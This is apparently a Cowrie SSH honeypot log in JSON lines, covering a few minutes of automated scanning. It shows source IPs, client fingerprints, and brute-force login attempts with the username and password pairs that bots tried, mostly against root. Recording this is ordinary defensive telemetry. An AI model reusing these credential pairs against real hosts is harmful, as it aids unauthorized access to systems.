{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:03.586285Z","src_ip":"78.44.192.210","session":"bc4e2909631a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:03.698554Z","src_ip":"78.44.192.210","session":"bc4e2909631a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:04.168384Z","src_ip":"78.44.192.210","session":"bc4e2909631a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:04.284064Z","src_ip":"78.44.192.210","session":"bc4e2909631a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:04.295106Z","src_ip":"78.44.192.210","session":"a1517c7b9cb8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:04.370382Z","src_ip":"213.209.159.158","session":"7d7b7b5dce5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:04.374645Z","src_ip":"213.209.159.158","session":"7d7b7b5dce5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":47360,"dst_ip":"159.203.135.109","dst_port":22,"session":"aecfa9acbdcc","protocol":"ssh","message":"New connection: 193.37.70.224:47360 (159.203.135.109:22) [session: aecfa9acbdcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:04.394593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:04.409004Z","src_ip":"193.37.70.224","session":"aecfa9acbdcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:04.500388Z","src_ip":"193.37.70.224","session":"aecfa9acbdcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kretsaha53","message":"login attempt [root/kretsaha53] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:04.776792Z","src_ip":"193.37.70.224","session":"aecfa9acbdcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:05.872402Z","src_ip":"193.37.70.224","session":"aecfa9acbdcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome2025","message":"login attempt [root/Welcome2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:10.018574Z","src_ip":"213.209.159.158","session":"7d7b7b5dce5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.2","message":"Connection lost after 9.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:12.400884Z","src_ip":"213.209.159.158","session":"7d7b7b5dce5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":45980,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f1b159ab4d1","protocol":"ssh","message":"New connection: 213.209.159.158:45980 (159.203.135.109:22) [session: 7f1b159ab4d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:12.486597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:13.750096Z","src_ip":"213.209.159.158","session":"7f1b159ab4d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:13.754407Z","src_ip":"213.209.159.158","session":"7f1b159ab4d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"we!","message":"login attempt [root/we!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:19.487526Z","src_ip":"213.209.159.158","session":"7f1b159ab4d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:21.773755Z","src_ip":"213.209.159.158","session":"7f1b159ab4d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":27182,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9d1cfcb1a0e","protocol":"ssh","message":"New connection: 213.209.159.158:27182 (159.203.135.109:22) [session: a9d1cfcb1a0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:21.882085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:23.342464Z","src_ip":"213.209.159.158","session":"a9d1cfcb1a0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:23.346452Z","src_ip":"213.209.159.158","session":"a9d1cfcb1a0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"WTaE36i3","message":"login attempt [root/WTaE36i3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:28.837904Z","src_ip":"213.209.159.158","session":"a9d1cfcb1a0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.2","message":"Connection lost after 9.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:31.130601Z","src_ip":"213.209.159.158","session":"a9d1cfcb1a0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":34190,"dst_ip":"159.203.135.109","dst_port":22,"session":"0203887ec308","protocol":"ssh","message":"New connection: 213.209.159.158:34190 (159.203.135.109:22) [session: 0203887ec308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:31.213688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:32.758602Z","src_ip":"213.209.159.158","session":"0203887ec308","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:32.762575Z","src_ip":"213.209.159.158","session":"0203887ec308","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www.chinacache.com","message":"login attempt [root/www.chinacache.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:38.404969Z","src_ip":"213.209.159.158","session":"0203887ec308","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":45752,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e52ae819f1d","protocol":"ssh","message":"New connection: 103.27.238.120:45752 (159.203.135.109:22) [session: 9e52ae819f1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:40.263474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:40.273964Z","src_ip":"103.27.238.120","session":"9e52ae819f1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":49866,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ea93fcfd39d","protocol":"ssh","message":"New connection: 103.27.238.116:49866 (159.203.135.109:22) [session: 7ea93fcfd39d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:40.287845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:40.293879Z","src_ip":"103.27.238.116","session":"7ea93fcfd39d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:40.540961Z","src_ip":"103.27.238.120","session":"9e52ae819f1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:40.565546Z","src_ip":"103.27.238.116","session":"7ea93fcfd39d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.7","message":"Connection lost after 9.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:40.911536Z","src_ip":"213.209.159.158","session":"0203887ec308","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":32666,"dst_ip":"159.203.135.109","dst_port":22,"session":"73cb763c9191","protocol":"ssh","message":"New connection: 213.209.159.158:32666 (159.203.135.109:22) [session: 73cb763c9191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:40.999346Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"sorokina","message":"login attempt [root/sorokina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:41.337700Z","src_ip":"103.27.238.120","session":"9e52ae819f1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"54545454","message":"login attempt [root/54545454] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:41.379106Z","src_ip":"103.27.238.116","session":"7ea93fcfd39d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.12.80.170","src_port":32776,"dst_ip":"10.17.0.5","dst_port":22,"session":"a218d2e0226b","protocol":"ssh","message":"New connection: 198.12.80.170:32776 (10.17.0.5:22) [session: a218d2e0226b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:41.880926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:41.886994Z","src_ip":"198.12.80.170","session":"a218d2e0226b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":[